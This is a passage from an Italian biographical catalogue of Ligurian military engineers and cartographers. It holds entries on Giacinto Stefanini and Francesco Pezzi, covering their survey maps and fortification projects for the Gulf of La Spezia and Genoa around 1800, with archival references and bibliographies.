M. R. Mari, Gli interventi del Genio militare nel golfo della Spezia per la realizzazione dell’Arsenale, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 273-283
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Ricchebono, Architettura ed urbanistica del complesso del santuario, in AA.VV., La Madonna di Savona, 1985, pp. 147-176
G. Santuccio, Chiodo in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 14-18
M. Tassinari, Cartografi locali nel savonese tra Cinquecento e Settecento, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 201-208
C. Varaldo, Ceramisti savonesi del XVII secolo: i Folco, i Chiodo e i Peirano. Note storiche, in Atti dell’XI convegno internazionale della ceramica, Albissola, 1978, pp. 125-131
P. Visani [1], Chiodo, Agostino, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 16-17
P. Visani [2], Chiodo, Domenico, in AAVV., Dizionario biografico degli italiani, 25, Istituto dell’Enciclopedia Italiana, Roma, 1981, pp. 17-18.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani

Stefanini, Giacinto

Giacinto Stefanini
N.
M. Levanto 1812

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, topografo.

Biografia:
La data precisa della nascita rimane per ora oscura, ma si presume sia nato a Levanto intorno al 1770. Muore, assassinato, a Levanto, nel 1812. In un registro dell’archivio comunale della località (registro 189) si conserva notizia dell’omicidio. Con lettera del 31 maggio 1812 il maire informa il prefetto del fatto avvenuto nella notte del giorno precedente. Con lettera successiva (6/6/1812) si descrive la dinamica del fatto in questi termini: il «capitano dimissionario del Genio, Giacinto Stefanini, mentre si recava a casa con la figlia Luisa di anni 15, alle ore 10 della notte, in località Piano di S. Rocco del comune di Levanto, veniva assalito e pugnalato a morte». L’omicida riconosciuto dalla figlia è il nipote, Francesco Barletta, che uccide per vendicarsi della non restituzione di somme dovute dal padre dello Stefanini.

Produzione scientifica:
Il 6 dicembre 1796 firma, a Genova, con Giacomo Brusco, Francesco Pezzi e Agostino Menici, la Relazione per la batteria sulla punta detta della Torre d’Amore da levante della città e sulla punta o penisola di Sant’Andrea da ponente (Fara, 2006, p. 207).
Conosciamo poi una carta intitolata Piano dell’attacco di Serravalle e successiva al giugno 1798: ASG, Raccolta cartografica, n. 1079, SERRAVALLE, 7, busta 17 bis (per la scheda descrittiva si rimanda al catalogo).
Redatta attorno al 1800 è la Descrizione del Golfo della Spezia, delle sue fortificazioni, e dello stato attuale delle medesime e Sentimento sulla difesa del Golfo della Spezia.
Nel 1805, insieme a Girolamo Spinola, esegue rilievi sul terreno dello Sperone e del Diamante, chiavi del sistema difensivo genovese (ISCAG, FT 2560, 2562).
Nel 1806 esegue un rilievo della Spezia e del suo circondario (Plan de la ville de la Spezzia et de ses environs levé trigonométriquement (ISCAG, FT 64/A, 4014) e il Plan de l’anses des Graces dans le Golfe de La Spezia avec sondes (ISCAG, FT 64/A, 4023) con risultati molto lodati dai contemporanei. La precisione del Plan de la ville sarà superata solo con l’introduzione del sistema a curve di livello da parte dei topografi francesi comandati dal capo di battaglione P.-A. Clerc (Rossi, in stampa). Così A. Fara: «Il capitano Stefanini svolse nel 1806 il rilievo della città e dell’Ansa delle Grazie sulla costa occidentale del Golfo. Egli adottò una rappresentazione classica dell’orografia, a sfumo e luce obliqua, che non era ancora quella a delle curve orizzontali che verrà impiegata dopo qualche anno in maniera sistematica proprio sul territorio della Spezia. Ma il suo rilievo della città assume ora una notevole importanza nella cartografia della Spezia. Si distingue per l’esattezza trigonometrica e rappresenta una delle piante fondamentali per lo studio della città ancora chiusa nelle mura seicentesche e dotata di sei porte» (Fara 1983, p. 32).
Fara dice anche che nello stesso anno, su ideazione del capitano Etienne Delmas, Stefanini compila il progetto per una ridotta fra il monte Due Fratelli e lo Sperone, alle spalle di Genova (ISCAG, FT 2533, 2537) e che con Etienne Delmas e Francesco Pezzi collabora alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt datato luglio 1807.

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
P. Cevini, La Spezia, Genova, Sagep, 1984.
A. Fara , La Spezia, Bari, Laterza, 1983.
A. Fara, Napoleone architetto nelle città della guerra in Italia, Firenze, Olschki, 2006.
L.C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in M. Quaini (a cura di), Carte e cartografi in Liguria, Genova, Sagep, 1986, pp. 232-238.
L.C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992.
L. Rossi, La nascita della cartografia a curve di livello tra Francia e Italia, in A. Cantile (a cura di), La cartografia in Italia. Nuovi metodi e nuovi strumenti dal Settecento a oggi, Firenze, Istituto Geografico Militare, in corso di stampa.

Altro:

Rimandi ad altre schede: Giacomo Brusco, Francesco Pezzi, Pierre Antoine Clerc

Autore della scheda: Carlo Alberto Gemignani

Pezzi, Francesco

Francesco Pezzi
N. 1764
M. novembre 1816

Relazioni di parentela: Non si conoscono rapporti di parentela né ascendenti né discendenti che possano far pensare a una dinastia.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere militare, professore di matematica e ingegneria militare

Biografia:

Produzione scientifica:
L’attività grafica di Francesco Pezzi è legata al ruolo di ingegnere nel campo dell’artiglieria e delle fortificazioni. La produzione autografa nota è comunque esigua.
Soprattutto per le fasi operative più precoci è difficile distinguere i lavori di Pezzi da quelli del superiore diretto Giacomo Brusco.
Con Brusco Pezzi lavora, a partire dal 1787 e per oltre dieci anni, alla «Pianta geometrica del recinto delle Nuove Mura della città di Genova» (L. C. Forti, 1992, p. 229).
Nel 1794 inizia una prolungata serie di ricognizioni a La Spezia. In questa occasione Pezzi invia alla Giunta di Pubblica difesa della Repubblica una memoria intitolata: Riflessioni intorno alla difesa del Golfo (19 maggio 1794), che propone la costruzione di batterie sulla Palmaria, sulla spiaggia della Grazie e ai Cappuccini (quest’ultima verrà effettivamente eseguita nel 1798. Cfr. A. Fara 1983, pp. 29-30).
Il 6 dicembre 1796 firma, a Genova, con Giacomo Brusco, Agostino Menici e Giacinto Stefanini, la Relazione per la batteria sulla punta detta della Torre d’Amore da levante della città e sulla punta o penisola di Sant’Andrea da ponente (A. Fara, 2006, p. 207).
Del 16 ottobre 1796 è il Rapporto sul Golfo che fa il punto su alcune considerazioni difensive proposte dal Brusco per La Spezia (A. Fara, 2006, p. 224).
Nel 1799 invia col Brusco una lettera al Ministro di guerra e marina che analizza i dati raccolti in seguito ad una ricognizione presso il forte Diamante, giudicato da Menici bisognoso di urgenti interventi difensivi (A. Fara, 2006, p. 209-210). Dopo la capitolazione di Genova, durante la seconda campagna d’Italia (giugno 1800) redige una Relazione relativa alle fortificazioni genovesi destinata al capitano de Liliemberg (A. Fara, 2006, p. 210).
Ancora inerenti la situazione genovese sono il Mémoire sur l’état de situation des plans de la direction de Gênes à la fin de 1807, sur le travaux qu’on y a executés pendant la même année, et sur les ouvrages projetés puor l’an 1808 (Genova, 22 gennaio 1808 – A. Fara, 2006, p. 217) e il Mémoire supplémentaire sur l’assiette des établissemens militaires de la place de Gênes (Genova, 16 aprile 1808 – A. Fara, 2006, p. 212).
Per quanto riguarda l’attività spezzina in questi anni, risulta collaborare con Giacinto Stefanini ed Étienne Delmas alla stesura del Mémoire sur le golphe de la Spezia di Hyacinthe Boucher de Morlaincourt (Mantova, 7 luglio 1807 – A. Fara, 2006, p. 225) insieme al quale Pezzi aveva disegnato, nel 1806, il “taglio” del bastione della cittadina Porta a mare (Museo Tecnico Navale di La Spezia – MTN – 10145, A. Fara, 2006, p. 225).
Conosciamo poi un personale Mémoire sur le golfe de la Spezia, datato gennaio 1808, che sintetizza la visione difensiva del Pezzi maturata negli anni (A. Fara, 1983, p. 37; L. Rossi, 2003, p. 94 e 132; A. Fara, 2006, p. 235). Con questo rapporto – nel quale vengono riprese alcune idee contenute in un memoriale dell’anno precedente, compilato dal colonnello Morlaincourt – Pezzi traccia le linee generali di un sistema imperniato sulla costruzione di un forte fondato direttamente in acqua al centro del Golfo – alla profondità di 15 metri – e sulla realizzazione di un grande arsenale marittimo, con conseguente cambiamento di destinazione per il Lazzaretto del Varignano (A. Fara 1983, p 34).
Del 7 Aprile 1808 è il Précis sur le moyens de défense employés au golfe de la Spezia en exécution des ordres de Son Excellence le ministre de la guerre, datès du 29 janvier 1808, che prevede un’incremento dell’armamento delle fortificazioni (A. Fara, 2006, p. 227).
Il progetto generale e definitivo della difesa costiera, redatto da Pezzi è datato 13 luglio 1808 e intitolato Projet de défense pour le golfe de la Spezia (A, Fara, 1983, pp. 36-37; A. Fara, 2006, p. 236), Si fonda ancora una volta sull’idea del forte realizzato in mare, tra la torre della Scola e le punte S. Terenzio e S. Teresa. Il documento risulta corredato di un disegno ad acquerello finora non reperito (L. Rossi, 2003, p. 132).
Tra il 1808 e il 1809 redige una ulteriore serie di progetti riguardanti varie opere fortificate: batteria da tre cannoni da 24 alla Mariella nella Palmaria (MTN, 10143); batteria da quattro cannoni da 24 e tre mortai da 12 pollici alla Scola nella Palmaria (MTN, 10143); batteria San Pietro a Porto Venere; batteria della punta della Castagna; batteria di Maralunga (MTN, 10172); forte sul punto culminante della Palmaria; cinta continua dal punto culminante della Castellana al mare (A. Fara 1983, p 41; A. Fara, 2006, p. 258).
Nel 1810, in seguito ad ordine imperiale del 6 gennaio, è chiamato a seguire i progetti di costruzione di due ridotte intorno a Piano (1 agosto, progetto elaborato dal capitano Chayron) e il progetto della ridotta della Cossa sulla Castellana in sostituzione del forte previsto nei pressi di Pianello al di sopra di Montale. Altri progetti riguardano un forte sul monte Soggio, una batteria a Maralunga, un forte sul plateau dell’Isola Palmaria e uno sulla sommità dell’isola del Tino (MTN, 10170-10171, in A. Fara 1983, p 4 e A. Fara 2006, pp. 258-259).
Un Precis sur la Défense Général du port de la Spezia, è firmato da Pezzi l’1 agosto 1810 e allega una carta del golfo in scala 1:10000, a sua volta riduzione di una carta trigonometrica in scala 1:5000 (Istituto Storico e di Cultura dell’Arma del Genio – ISCAG, cartelle Chiodo, Roma, in M. Quaini [2], 1986, p. 231).
Nel febbraio 1811 progetta una cinta di fortificazione sulla montagna di Porto Venere. Del giugno dello stesso anno è il piano per il «cavaliere o ridotto pentagonale» da costruirsi sul punto culminante della Castellana.
Nel gennaio 1812, su indicazioni del Consiglio del Genio, si occupa della ridotta «modello n.I» prevista ancora per il punto culminante della Palmaria (A. Fara, 2006 p. 260). Ancora nel 1812 Pezzi dirige il restauro della scarpa del forte Santa Maria.
Nel 1813, ultimo anno di servizio stila le Apostilles du Sous-Directeur des fortification sur les pprojets des ouvrages de fortification del la partie occidentale du Golf de la Spezia (20 gennaio). Per lo stesso anno risultano in progetto le batterie della Castagna, di san Pietro a Porto venere, della Scola, della Mariella e dei Marmi alla Palmaria, la cinta di Porto Venere e la ridotta sulla cima della Palmaria, tutte opere ascrivibili in buona parte a Pezzi. Altri progetti in cantiere, per i quali Pezzi diede certamente un contributo, riguardano il restauro delle torri pentagonali del Tino e della Scola, un forte sulla Castagna, un’opera all’angolo della cresta della Castellana, la torre della Polla e la diga di sbarramento del passo di Porto Venere ideata da François de Chasseloup-Laubat (1754-1833 – A. Fara, 2006 p. 260).

Come detto la produzione grafica autografa è piuttosto esigua. Nel volume edito da A. Fara nel 2006 compaiono attribuiti al Pezzi un Progetto del forte in mezzo al golfo della Spezia, del luglio 1808 (collezione privata, in A. Fara, 2006, tav. XLVIII) ed il Profilo schematico del forte stesso, datato giugno 1808 (collezione privata, in A. Fara, 2006, fig. 155).

Produzione di cartografia manoscritta:

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
A. Fara, La Spezia, Laterza, Bari, 1983
A. Fara, Napoleone architetto nelle città della guerra in Italia, Olschki, Firenze, 2006
L. C. Forti, Le «gite» nel golfo della Spezia di Giacomo Brusco (1793-1794). Dall’analisi topografica alla difesa marittima del golfo, in AAVV, Carte e cartografi in Liguria, Sagep, Genova, 1986, pp. 232-238
L. C. Forti, Fortificazioni e ingegneri militari in Liguria (1684-1814), Genova, 1992
M. Quaini [1], Dalla cartografia del potere al potere della cartografia, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 7-60
M. Quaini [2], Il Golfo della Spezia: dal fascino delle rovine al teatro del progetto, in AAVV, Carte e cartografi in Liguria, Sagep, Genova 1986, pp. 171-218
M. Quaini [3], A proposito di “scuole” e “influssi” nella cartografia genovese del Settecento e in particolare di influenze franco-piemontesi, in “Cartografia e istituzioni in età moderna” (Atti del convegno, 1986), Genova 1987, II, pp. 783-802.
C. Farinella, Un matematico genovese del XVIII secolo. Lettere di F.Pezzi a A. M. Lorgna e S. Canterzani, in Miscellanea storica ligure, anno XVIII n.2, Studi in onore di Luigi Bulferetti, Istituto di Storia moderna e contemporanea, Genova, 1986, pp. 765-881
L. Rossi, Lo specchio del Golfo, La Spezia, Agorà, 2003

Altro:

Rimandi ad altre schede: Giacomo Brusco, Giacinto Stefanini

Autore della scheda: Carlo Alberto Gemignani